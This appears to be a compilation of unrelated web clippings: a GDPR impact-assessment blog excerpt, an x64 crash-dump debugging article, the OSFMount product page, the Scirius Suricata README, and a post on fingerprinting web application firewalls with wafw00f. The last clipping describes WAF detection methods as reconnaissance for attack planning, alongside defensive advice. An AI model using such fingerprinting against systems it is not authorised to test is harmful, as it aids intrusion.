preferences or interests, reliability or behaviour, location or movements, in
order to create or use personal profiles; where personal data of vulnerable
natural persons, in particular of children, are processed; or where processing
involves a large amount of personal data and affects a large number of data
subjects._

In practice there is more, a fact recognized by Working Party 29 which also
highlights: freedom of speech, freedom of thought, freedom of movement,
prohibition of discrimination, right to liberty, conscience and religion.

There are even more types of risk we can list: identity theft, financial loss,
**reputational damage, loss of confidentiality of privileged data,
unauthorised reversal of pseudonymisation** , etc.

All of these terms have a broad meaning and often can be translated into
matters of technology. So thinking **about “freedom of expression” may
directly relate to e.g. matters of “encryption”, “access control”,
“authorisation”** , etc. or the sole purpose of data storage \(if not designed
respectfully\) – on very technical levels. In a recent ruling, European Court
of Justice confirmed how privacy aspects arising from breach of “freedom of
expression”:

_“the retention of traffic and location data could nonetheless have an effect
on the use of means of electronic communication and, consequently, on the
exercise by the users thereof of their freedom of expression”_

Most of the risks from above indirectly reference complex security and privacy
controls \(technological, organizational\), issues and designs: communication
systems, storage systems. Be prepared for a deep security and privacy
analysis.

### 3\) DPIA Methodology

DPIA is a risk-based method. Risks must be identified and evaluated. Risk
analysis is performed on the basis of **likelihood** \(of a risk\) and
**impact** \(what are the consequences\). Standard ISO-like methodology in
risk-assessment can be used. Risk can be **inherent** \(**if not addressed it
can be read as: we don’t do anything, let’s hope it’s fine; we’ll explain it
to our CEO and the Data Protection Authority later on**\) or **residual**
\(_despite precautions, what is the risk level that is left_\)?

**Analysis must take into account the nature, scope and context of
processing**. Every possible data processing use case scenario \(related to
collection-storage-use-erasure\) need to be taken into account.

**Important component of a DPIA is a requirement of listing the risk-reducing
measures.** In practice, these can be technologies or approaches used to
mitigate a risk. For example, in order to protect communication data, a
particular cryptographic protocol can be used, in a certain setting and
configuration.

Privacy risks will be identified, privacy controls \(or lack of them\)
strategy described, and only afterwards, any remaining risk can be assessed.

#### 3.1. No methodology requirements

There is a freedom of choice when it comes DPIA methodology; Belgian DPA is
not insisting on any particular one. There is just as recommendation to
conform to the accepted good practice, e.g. use ISO standards or specialised
guidelines and codes of conduct.  
That’s fortunate – ISO is currently nearing completion of standardising
Privacy Impact Assessment. Just in time.

#### 3.2. DPIA methodology should be adapted

The responsibility of choosing a methodology is in the hands of data
controller \(organization, company\). But the **DPIA methodology used in
practice can and should be adapted to particular circumstances, needs and
requirements.** I would highly advise using specialized methodologies, adapted
to the assessed systems. For example, **there are differences when assessing a
mobile ecosystem, web ecosystem, Internet of Things ecosystem and, say,
industrial systems** \(like, for example, a sensor network of weather
stations\). **Only a well adapted DPIA will result in a good quality
assessment.**

There are obviously some common characteristic of a DPIA:

  * Context definition \(internal and external factor\)
  * Specification of risk assessment criteria for the rights and freedoms of natural persons
  * Identification and analysis of risks
  * Definition of acceptable risk values ​​
  * Identification of appropriate risk mitigation measures \(should be understood both on a technical and organizational levels\).

Belgian DPA lists the characteristics of a good DPIA:

  * **Tailored and specific**. There is no one-size-fits-all solution in DPIA. It’s a custom made process \(but some common procedures can be reused\)
  * **Accessibile**. DPIA result should be easy to understand and unambiguous. It should be written in clear language. The intended audience of a DPIA report are not just experts, but also management and other personnel. A good DPIA contains an executive summary. Visual descriptions can be used to enhance.
  * **Nuanced** with comprehensive risk scales. It should be comprehensive.
  * It should be conducted with prior consulting in appropriate stakeholders

### 4\) Who is Involved in Consulting for a DPIA?

Very often **conducting DPIA requires engaging a broad number of important
actors** in the system. Among the stakeholders may be persons such as project
managers, CIO, CISO, Data Protection Officer, application developers, users
etc. People with knowledge of technical and organizational constraints. It’s
the Data Protection Officer’s \(DPO\) duty to help in identifying the key
persons, and to assist in the process of conducting of DPIA \(however, DPO
does not necessarily need to be the one who actually conducts a DPIA\)

That’s because a good DPIA requires input. Not only technical input such as
documents about design and requirement – but also input from actually involved
people who hold responsibility in the project.

### 5\) DPIA Needs Reviewing

Important note: **DPIA are subject to a periodic review and may need to be
updated or redone.** The need for this arises especially if there has been a
substantial change in the way data is processed. In this case it can be
affected by several factors, for example

  * System update, upgrade, integration
  * Technology change
  * Ecosystem change – new risks arise \(for example identified by new research?\), old mitigation strategies are no longer sufficient \(the used encryption or anonymization scheme is found to have serious flaws\)

**DPIA is a process.** It should be built into technical and organizational
culture. **Privacy in this way is becoming a strategic factor.** DPIA reports
how parts of strategies are deployed and executed. In this view, **DPIA report
is more than just a project report.**

## 1\. When is DPIA Obligatory?

Now the interesting part. Belgian DPA lists **examples of cases where
conducting a DPIA is mandatory.** That’s very good. We’re seeing such a list
for the first time. DPIA is required where the risk is substantial. What does
it mean in the eyes of Belgian DPA?

Important thing first: the list is not complete. It doesn’t mean that other
types of systems and data processing operations do not require conducting a
DPIA. According to General Data Protection Regulation \(GDPR\), DPIA always
must be conducted for systems fulfilling the requirements laid out in GDPR.
This means that **the list should be treated as an example.** The list is a
starting point and it is subject to change. Additionally, a DPIA can be
conducted both for single projects and larger projects having several
components \(integration often may give rise to a greater risk, integrating
two systems with good privacy standards does not necessarily mean that the
final outcome also have those desired traits\).

**DPIA is always required for the following cases:**

  * If **genetic data** are used. _Biotechnology/bioinformatics startups listen._ Similarly for health data banks.
  * When private data is collected from third parties and the data is used to decide whether to allow or deny access to a service \(_e.g. automatic decision making_\)
  * If data are used to assess the financial level of the user or to prepare any “user profiles” to assess “risk” \(for example to achieve the previous point\). _Applies to profiling and discrimination._
  * If the data processing might carry a risk to physical health of the user/person
  * If personal financial \(or otherwise sensitive\) data are used, if they are used for other purposes than those they were initially collected
  * When communicating, disclosing and making publicly available data related to a large number of people
  * If there is a need to assess and process private personal aspects, for example for producing analyses based on: **economic status, health, personal preferences, interests, reliability, behavior** \(_behavioral analysis requires a DPIA_\!\), **location data** \(_is your app using GPS or motion sensors_?\), travel patterns
  * **If profiling is used on a large scale**
  * In the case of **large-scale processing of children data** , if done for purposes other than the data has been originally collected. Note: **not consented** – but **collected**\!
  * If there are projected **common applications or entire environments for entire large sectors or occupational segments** , or cross-functional activities where sensitive data is used. _Note: this should concern e.g. products used for employee tracking._
  * If recording the knowledge, benefits, abilities or mental health of children is made, especially in order to monitor their progress, for example to establish the educational level of of children \(are they in primary, secondary school – etc.\). _Note: It’s a technique of indirect profiling._

**DPIA will be broadly required in most cases where new technologies and ways
to process data is utilised.** Direct inclusion of genetic data is a great
choice. **Genetic privacy is a tough topic to address. Similarly for
behavioral analysis** , which often carries a number of risks.

### 1\) DPIA Not Necessary

Although GDPR requires all systems to handle risk and to have appropriate
privacy controls, Belgian Privacy Commission is listing example systems where
a formal DPIA process does not need to be necessarily made.

The list and its construction is very interesting. The descriptions of data
processing where DPIA is not required are very long, much longer and much more
specific than in the case of list where DPIA is mandatory.  
This highlights that **defining situations where DPIA may not be needed is a
difficult task, even for Data Protection Authorities.**  
It makes me wonder if organizations will decide to take the risk to choose on
their own?

The following types of processing, according to Belgian Privacy Commission,
may not need a DPIA:

  * Processing of data related only to administration of salaries \(payrolls\), **if the data is only** used for this particular task and if the data is not stored longer than to fulfill the task
  * Processing of data related exclusively to administration of personnel \(human resources\) of an organization if the data is unrelated to health of the data subject. **Note: In practice this is difficult to achieve** , imagine a situation where even one employee has an e.g. disabled status, according to this description this scenario may fall into “must do a DPIA” case then.
  * Company accounting, if used only for that purpose. Only if personal data is exclusively used for accounting and if the data are not stored longer than necessary. The data cannot be shared with any third-party \(unless the organisation is legally bound to do so\).
  * Processing data for administration of shareholders – if the data is only used for administration and only concerns people whose data are necessary for administration.
  * Processing data by a foundation, association or other non-profit organization – as needed by usual activities, and only of the processing relates to the data of organizations members \(persons with whom an organization maintains regular contacts\)
  * If data is processed only and exclusively to register visitors, as part of access control, if the used data are only: name, business address of the visitor, identification of employer, identification of visitor’s vehicle, name, section and function of the person visited and the time of the visit. The data must not be kept longer than necessary.
  * If the data is used by educational institutions in order to communicate with students in relation to teaching activities, etc. \(this also applies to prospective students\), provided that no data is obtained from a third party and that the data is communicated only to third parties as foreseen by regulations. The relations can be maintained only for a specific period of time.

The descriptions of operations where DPIA may not be obligatory are very
specific and often contain detailed provisions and “if’s” such as “not longer
than necessary”, etc. **It sounds like even in the cases where DPIA might not
be necessary, some basic evaluation is still needed.** Evaluation whether a
DPIA is needed. Not conducting a DPIA is a formal decision, signed by
management of the data controller \(company, organisation\). All possible
subcontractors typically should also be involved in conducting of a DPIA.

We can call this process a **Data Protection Threshold Assessment** , as
opposed to **Privacy Impact Threshold Assessment**. It’s the **process of
establishing whether a DPIA is necessary** \(respectively for PIA\).

Source : https://blog.lukaszolejnik.com/

### Share this:

  * Twitter
  * Facebook
  * Reddit
  * Email
  * Google
  * Print
  * LinkedIn

.

__

  * Data Privacy
  * DPIA
  * GDPR

.

  

# The NT Insider:Analyst's Perspective: x64 Trap Frames

**Created:**| _11/7/2012 8:39:54 AM_  
---|---  
**Updated:**| _11/7/2012 8:39:54 AM_  
**Author:**| __  
**Tags:**| _x64_  
  

# The NT Insider:Analyst's Perspective

**Analyst's Perspective: x64 Trap Frames**  
The NT Insider, Volume 16, Issue 3, Sept-Oct 2009 | Published: 02-Oct-09| Modified: 02-Oct-09   
  
  
__

_Analyst's Perspective is a NEW column focusing on Windows kernel debugging
and problem analysis topics._

I'm not quite sure how I haven't been burned by this before, but this week I
analyzed an x64 crash that didn't make much sense. The information displayed
in the bugcheck simply didn't match up with the information displayed in the
trap frame:

IRQL\_NOT\_LESS\_OR\_EQUAL \(a\)  
An attempt was made to access a pageable \(or completely invalid\) address at
an  
interrupt request level \(IRQL\) that is too high. This is usually  
caused by drivers using improper addresses.  
If a kernel debugger is available get the stack backtrace.  
Arguments:

Arg1: **_fffffbbc5f00001a_** , memory referenced  
Arg2: 0000000000000002, IRQL  
Arg3: 0000000000000000, bitfield :  
bit 0 : value 0 = read operation, 1 = write operation

TRAP\_FRAME: fffff8000415fcc0 -- \(.trap 0xfffff8000415fcc0\)  
NOTE: The trap frame does not contain all registers.  
Some register values may be zeroed or incorrect.

rax=0000013c5f000000 rbx=0000000000000000 rcx=fffffbbc5f000000  
rdx=fffff80001654000 **_rsi=0000000000000000_** rdi=0000000000000000  
rip=fffff8000175e080 rsp=fffff8000415fe50 rbp=0000000000000002  
r8=0000000000000002 r9=0000000000000000 r10=fffff800017cc6b0  
r11=0000007d30034dd0 r12=0000000000000000 r13=0000000000000000  
r14=0000000000000000 r15=0000000000000000  
iopl=0 nv up ei pl nz na po nc  
nt\!MmFreeContiguousMemory+0x110:  
fffff800\`0175e080 mov al,byte ptr \[**_rsi+1Ah_**\]
ds:**_00000000\`0000001a_** =??

Notice how the bad memory address from the bugcheck information is
0xfffffbbc5f00001a, but the faulting instruction shows RSI+1A as the bad
reference with RSI equal to zero. If that was correct, the first parameter to
the bugcheck should have been 0x000000000000001a. So, where did
0x0xfffffbbc5f00001a come from?

Disassembling the block of code around the invalid memory reference shows that
the compiler assigned RSI to RCX prior to the faulting instruction:

nt\!MmFreeContiguousMemory+0xc7:  
xor ecx,ecx  
call nt\!MiDeferredUnlockPages \(fffff800\`016c6010\)  
mov rax,7FFFFFFFF8h  
mov rcx,0FFFFFA8000000000h  
mov r11,rdi  
shr r11,9  
and r11,rax  
mov rax,0FFFFF68000000000h  
mov rax,qword ptr \[r11+rax\]  
shr rax,0Ch  
and rax,rbx  
lea rax,\[rax+rax\*2\]  
shl rax,4  
lea rsi,\[rcx+rax\]  
**_mov rcx,rsi  
mov al,byte ptr \[rsi+1Ah\]_**

So I decided to check RCX and see if it contained a value that matched what
was reported in the bugcheck code:

kd> ?@rcx+1a  
Evaluate expression: -4688510451686 = **_fffffbbc\`5f00001a  
_** kd> .bugcheck  
Bugcheck code 0000000A  
Arguments **_fffffbbc\`5f00001a_** 00000000\`00000002 00000000\`00000000
fffff800\`0175e080

Not surprisingly RCX did indeed have the bad address, so why was RSI zero in
the trap frame?

The answer lies in this warning that I have been merrily ignoring since it
started appearing long ago:

__

_NOTE: The trap frame does not contain all registers.  
Some register values may be zeroed or incorrect._

The documentation made no mention of it, so I assumed it was there for some
rare edge case that wasn't even worth mentioning \(memory corruption, etc\).
But, in reality, this represents a majorissue for those of us analyzing crash
dumps.

As it turns out, the trap frame generation code in the x64 versions of Windows
simply _does not save the contents of the non-volatile registers_. The idea is
that any code that runs after the trap frame generation will properly handle
saving and restoring the registers in its own frame, making the saving of the
registers in the trap frame an unnecessary step in a hot path in the kernel.

Unfortunately, this means that you should expect the information in the trap
frame to be _entirely_ incorrect for any register that is non-volatile.
Volatile registers are preserved however, thus the values of RCX, RDX, R8-11,
and XMM0-XMM5 are always valid in the trap frame. With any other register,
you're on your own, and the values should be viewed as stack garbage that
happens to occupy the slack space in the structure.

This represents a fundamental change in the way that we approach using trap
frames when dealing with x64 dumps. Instead of being presented with the exact
state of the CPU at the time of the trap, we're now dealing with a partial
view with some registers valid and others garbage. I highly suggest leaving a
note on your desk that lists the volatile registers so you know who to trust.
And if you need the contents of one of the non-volatile registers, be prepared
to retrieve it indirectly through a volatile register or grovel through the
stack looking for the last save of the register contents.

Until the next problem...

**Snoone**

_Analyst's Perspective is a column by OSR consulting associate, Scott Noone.
When he's not root-causing complex kernel issues, he's leading the development
and instruction of OSR's kernel Debugging seminar. Comments on suggestions for
this or future Analyst's Perspective article submissions can be addressed to
ap@osr.com._

**User Comments**  
Rate this article and give us feedback. Do you find anything missing? Share
your opinion with the community\!  
  
  
**" Excellent\!"**  
Grappling with these issues today, so very helpful - thanks\!

06-Oct-09, Lyndon Clarke

* * *

# OSFMount - Mount CD and Disk images in Windows, ISO, DD

**Created:**| _12/28/2011 2:40:30 PM_  
---|---  
**Updated:**| _12/28/2011 2:40:30 PM_  
**Author:**| __  
**Tags:**| _Forensics windows Filesystem_  
  

<img src='img/Temp2_5673.png' width='155' height='46' alt='PassMark Software'
/>

**Shopping cart** | 
  *   * <img src='img/Temp2_5671.png' />
  * <img src='img/Temp2_5667.png' />
  * <img src='img/Temp2_5670.png' />
  * <img src='img/Temp2_5672.png' />
  * <img src='img/Temp2_5669.png' />
  * <img src='img/Temp2_5668.png' />
  * <img src='img/Temp2_5666.png' />
  * 

Home » Tools » OSFMount

# <img src='http://www.osforensics.com/tools//../images/osfmount-banner.jpg'
width='370' height='100' alt='OSFMount' />

<img src='http://www.osforensics.com/tools//../images/osfmount-
mainscreenshot.png' width='602' height='381' alt='Use OSFMount to mount dd
images! Designed for use with OSForensics.' />  

_OSFMount is a free utility designed for use with_ PassMark OSForensics™

## Overview

OSFMount allows you to mount local disk image files \(bit-for-bit copies of a
disk partition\) in Windows with a drive letter. You can then analyze the disk
image file with PassMark OSForensics™ by using the mounted volume's drive
letter. By default, the image files are mounted as read only so that the
original image files are not altered.

OSFMount also supports the **creation of RAM disks** , basically a disk
mounted into RAM. This generally has a large speed benefit over using a hard
disk. As such this is useful with applications requiring high speed disk
access, such a database applications, games \(such as game cache files\) and
browsers \(cache files\). A second benefit is security, as the disk contents
are not stored on a physical hard disk \(but rather in RAM\) and on system
shutdown the disk contents are not persistent.

OSFMount supports **mounting images of CDs in .ISO format** , which can be
useful when a particular CD is used often and the speed of access is
important.

## Download

Please click below to download the OSFMount V1.5.1008 installation package

|  
---|---  
## Supported File Extensions

OSFMount supports the mounting of the following Windows image file formats:

**Image Format**| **Read**| **Write**| **Mount as RAM drive**| **Convert to
Image file**| **Extend**| **Format**  
---|---|---|---|---|---|---  
Raw Image \(.IMG, .DD\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
Raw CD Image \(.ISO, .BIN\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />  
Split Raw Image \(.00n\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
Nero Burning ROM Image \(.NRG\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
System Deployment Image \(.SDI\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
Advanced Forensics Format Images\* \(AFF\) | <img src='http://www.osforensics.com/tools//../images/tick.png' width='20' height='20' />| <img src='http://www.osforensics.com/tools//../images/tick.png' width='20' height='20' />| <img src='http://www.osforensics.com/tools//../images/tick.png' width='20' height='20' />| <img src='http://www.osforensics.com/tools//../images/tick.png' width='20' height='20' />| <img src='http://www.osforensics.com/tools//../images/cross.png' width='20' height='20' />| <img src='http://www.osforensics.com/tools//../images/tick.png' width='20' height='20' />  
Advanced Forensics Format Images w/ meta data\* \(AFM\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
Advanced Forensics Format Directories\* \(AFD\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
VMWare Image \(.VMDK\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />  
EnCase EWF \(.E01\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
SMART EWF \(.S01\)| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/cross.png' width='20'
height='20' />| <img
src='http://www.osforensics.com/tools//../images/tick.png' width='20'
height='20' />  
\* The supported version of Advanced Forensics Format is AFFv3 with zlib
compression support. Encryption and signatures are not supported.

## System requirements

Windows XP, Vista & Win 7  
Windows Server 2000, 2003, 2008  
32bit and 64bit support  
It is recommended that 64-bit Windows is used when large disk image files are
to be mounted. The 32-bit version can only be used on 32-bit Windows. The
64-bit version can only be used on 64-bit Windows.  
Users must have administrator privileges.  
RAM: 1GB. When mounting large disk images, the more RAM the better.  
Disk space: 1 MB of free hard disk space for the installation files.  

## Price

OSFMount is a free utility.

# StamusNetworks/scirius · GitHub

**Created:**| _8/18/2014 10:24:28 AM_  
---|---  
**Updated:**| _8/18/2014 10:24:28 AM_  
**Author:**| __  
**Tags:**| _security tools iDS/iPS management_  
  

# Scirius

##  Introduction

Scirius is a web interface dedicated to Suricata ruleset management. It
handles the rules file and update associated files.

<img
src='https://github.com/StamusNetworks/scirius/raw/master/doc/images/suricata-
update.png' alt='suricata update in scirius' />

Scirius is developed by Stamus Networks and is available under the GNU GPLv3
license.

##  Installation and setup

###  Installing Scirius

Scirius is an application written in Django. You can install it like any other
Django application.

The following procedure has been tested on Debian Wheezy and Sid and Ubuntu
LTS 12.04.

####  Dependencies

Scirius is using the following Django modules:

  * tables2
  * south

The easy way to install the dependencies is to use pip:

On Debian, you can run

[code]

    aptitude install python-pip
    
[/code]

You can then install django and the dependencies

[code]

    pip install django django-tables2 South GitPython pyinotify daemon Pygments
    
[/code]

It has been reported that on some Debian system forcing a recent GitPython is
required

[code]

    pip install gitpython==0.3.1-beta2
    
[/code]

####  Running Scirius

Get the source, then inside the source

[code]

    python manage.py syncdb
    
[/code]

One of the easiest way to try Scirius is to run the Django test server

[code]

    python manage.py runserver
    
[/code]

You can then connect to `localhost:8000`.

If you need the application to listen to a reachable address, you can run
something like

[code]

    python manage.py runserver 192.168.1.1:8000
    
[/code]

###  Suricata setup

Scirius is generating one single rules files with all activated rules. When
editing the Suricata object, you have to setup the directory where you want
this file to be generated and the associated files of the ruleset to be
copied.

Scirius won't touch your Suricata configuration file aka `suricata.yaml`. So
you have to update it to point to the directory where data are setup by
Scirius. If you are only using rules generated by Scirius, you should have
something looking like in your `suricata.yaml` file

[code]

    default-rule-path: /path/to/rules
    rule-files:
     - scirius.rules
    
[/code]

To interact with Scirius, you need to detect when
`/path/to/rules/scirius.reload` file are created, initiate a reload or restart
of Suricata when it is the case and delete the reload file once this is done.

One possible way to do that is to use `suri_reloader` available in
`suricata/scripts` directory. The syntax of `suri_reloader` can be something
similar to

[code]

    suri_reloader -p /path/to/rules  -l /var/log/suri-reload.log  -D
    
[/code]

Use `-h` option to get the complete list of options. Please note that
`suri_reloaded` uses the `service` command to restart or reload Suricata. This
means you need a init script to get it working.

###  Link with Elasticsearch

If you are using Suricata with Eve logging and Elasticsearch, you can get
information about signatures displayed in the page showing information about
Suricata:

<img
src='https://github.com/StamusNetworks/scirius/raw/master/doc/images/suricata-
display.png' alt='elasticsearch info in scirius' />

To setup Elasticsearch connection, you can edit `settings.py` or create a
`local_settings.py` file under `scirius` directory to setup the feature.
Elasticsearch is activated if a variable names `USE_ELASTICSEARCH` is set to
True in `settings.py`. The address of the Elasticsearch is stored in the
`ELASTICSEARCH_ADDRESS` variable and uses the format `IP:port`.

For example, if your Elasticsearch is running locally, you can add to
`local_settings.py`

[code]

    USE_ELASTICSEARCH = True
    ELASTICSEARCH_ADDRESS = "127.0.0.1:9200"
    
[/code]

Please note, that the name of the Suricata \(set during edition of the
object\) must be equal to the `host` key present in Elasticsearch events.

##  Usage

###  Ruleset management

A Ruleset is made of components selected in different Sources. A Source is a
set of files providing information to Suricata. For example, this can
EmergingThreats ruleset.

To create a ruleset, you thus must create a set of Sources and then link them
to the ruleset. Once this is done, you can select which elements of the source
you want to use. For example, in the case of a signature ruleset, you can
select which categories you want to use and which individual signature you
want do disable.

Once a Ruleset is defined, you can attach it to your Suricata. To do that
simply edit the Suricata object and choose the Ruleset in the list.

###  Creating Source

To create a Source go to `Sources -> Add` \(`Add` being in the `Actions` menu
in the sidebar\). Then set the different fields and click `Submit`.

A source of datatype `Signatures files in tar archive` has to follow some
rules:

  * It must be a tar archive
  * All files must be under a `rules` directory

For example, if you want to fetch ETOpen Ruleset for Suricata 2.0.1, you can
use:

  * Name: ETOpen Ruleset
  * URI: https://rules.emergingthreats.net/open/suricata-2.0.1/emerging.rules.tar.gz

A source of datatype `Individual signature files` has to be a single file
containing signatures.

For example, if you want to use SSL blacklist from abuse.ch, you can use:

  * Name: SSLBL abuse.ch
  * URI: https://sslbl.abuse.ch/blacklist/sslblacklist.rules

###  Updating Source

To update a Source, you first need to select it. To do that, go to `Sources`
then select the wanted Source in the array.

You can then click on `Update` in the menu in the sidebar. This step can take
long as it can require some download and heavy parsing.

Once updated, you can browse the result by following links in the array.

###  Creating Ruleset

To create a Ruleset go to `Ruleset -> Add` \(`Add` being in the `Actions` menu
in the sidebar\). Then set the name of the Ruleset and choose which Sources to
use and click `Submit`.

###  Updating Ruleset

To update a Ruleset, you first need to select it. To do that, go to `Ruleset`
then select the wanted Ruleset in the array.

You can then click on `Update` in the `Action` menu in the sidebar. This step
can take long as it can require download of different Sources and heavy
parsing.

###  Editing Ruleset

To edit a Ruleset, you first need to select it. To do that, go to `Ruleset`
then select the wanted Ruleset in the array.

You can then click on `Edit` in the `Action` menu in the sidebar.

There is now different operations available in the `Action` menu

  * Edit sources: select which sources of signatures to use in the Ruleset
  * Edit categories: select which categories of signatures to use in the Ruleset
  * Add rule to suppressed list: if a rule is in this list then it will not be part of the generated Ruleset
  * Remove rule from suppressed list: this remove a rule from the previously mentioned list thus reenabling it in the Ruleset

####  Edit Sources

To select which Sources to use, just select them via the checkbox and click on
`Update sources`. Please note that selecting categories to enable is the next
step in the process when you add a new source.

####  Edit Categories

To select which Categories to use, just select them via the checkbox and click
on `Update categories`.

####  Add rule to suppressed list

Use the search field to find the rule\(s\) you want to remove, you can use the
SID or any other element in the signature. Scirius will search the entered
text in the definition of signature and return you the list of rules. You will
then be able to remove them by clicking on the check boxes and clicking on
`Add selected rules to suppressed list`.

####  Remove rule from suppressed list

To remove rules from suppressed list, simply check them in the array and click
on `Remove select rules from suppressed list`.

###  Updating Suricata ruleset

To update Suricata ruleset, you can go to `Suricata -> Update` \(`Update`
being in the `Actions` menu\). Then you have to select which action you want
to do:

  * Update: download latest version of the Sources used by the Ruleset
  * Build: build a Suricata ruleset based on current version of the Sources
  * Push: trigger a Suricata reload to have it running with latest build ruleset

# devilok shared http://tacticalwebappsec.blogspot.com/2009/06/waf-detection-
with-wafw00f.html

**Created:**| _6/4/2009 5:08:47 PM_  
---|---  
**Updated:**| _6/4/2009 5:09:17 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

## Wednesday, June 3, 2009

### WAF Detection with wafw00f

<img src='img/Temp2_10172.jpg' />  
Submitted by Ryan Barnett 06/03/2009

  

Another interesting presentation that was given by Wendel
GuglielmettiHenrique, Trustwave & Sandro Gauci,EnableSecurity at the recent
OWASPAppSec EU conference was entitledThe Truth about Web Application
Firewalls: What the vendors don't want you to know. The two main topics to the
talk were WAF detection and evasion.

  

WAF Detection

The basic premise for this topic is that inline WAFs can be detected through
stimulus/response testing scenarios. Here is a short listing of possible
detection methods:

  * Cookies - Some WAF products add their own cookie in the HTTP communication.
  * Server Cloaking - Altering URLs and Response Headers
  * Response Codes - Different error codes for hostile pages/parameters values
  * Drop Action - Sending a FIN/RST packet \(technically could also be an IDS/IPS\)
  * Pre Built-In Rules - Each WAF has different negative security signatures

The authors even created a tool called wafw00f to help automate these
fingerprinting tasks. The tool states that it is able to identify over 20
different WAFs \(including ModSecurity\) so I thought I would try it out
against my own ModSecurity install to see how it works. After reviewing the
python source code and running a few tests, it is evident that in order for
wafw00f to identify a ModSecurity installation, it is relying upon the Pre
Built-In Rules category as mentioned above. Specifically, if a ModSecurity
installation is using the Core Rule Set and has the SecRuleEngine On directive
set, then the OS command/file access attack payloads sent by wafw00f will
trigger the corresponding rules and a 501 response status code will be
returned.

Reliance upon the returned HTTP status code is not a strong indicator of the
existence of a WAF as this can be easily changed. Looking on the other end of
the spectrum, and taking a defensive posture, this scenario reminds me
somewhat of best practice steps for virtual patch creation. One of the key
tenants for creating these patches is that you don't want to key off of
attributes in an attack payload that are superfluous. The point being is that
there are only a small set of key elements that are key to the success of the
exploit. These are the items that you want to focus on for a virtual patch.
If, however, you key off of non-essential data from some proof of concept
code, your virtual patch can be easily evaded if the attack alters this data.
In this particular case with wafw00f, the HTTP response code generated by
ModSecurity is customizable by the polices so the identification effectiveness
is reduced to only "Default Configurations." With ModSecurity, for instance,
it is trivial to update the status action of the Core Rule Set to use some
other status code. This can be accomplished in a number of ways such as by
using the block action in the rules or SecRuleUpdateActionById directive to
change what status code is returned.

This is an interesting tool in that it aids with the pentesting/assessment
steps of footprinting the target network. The more details that you can
identify about the target, the more finely tuned your attack strategy can be.
With this in mind, if you want to easily trick wafw00f, you could always
update the SecServerSignature ModSecurity directive to spoof the server
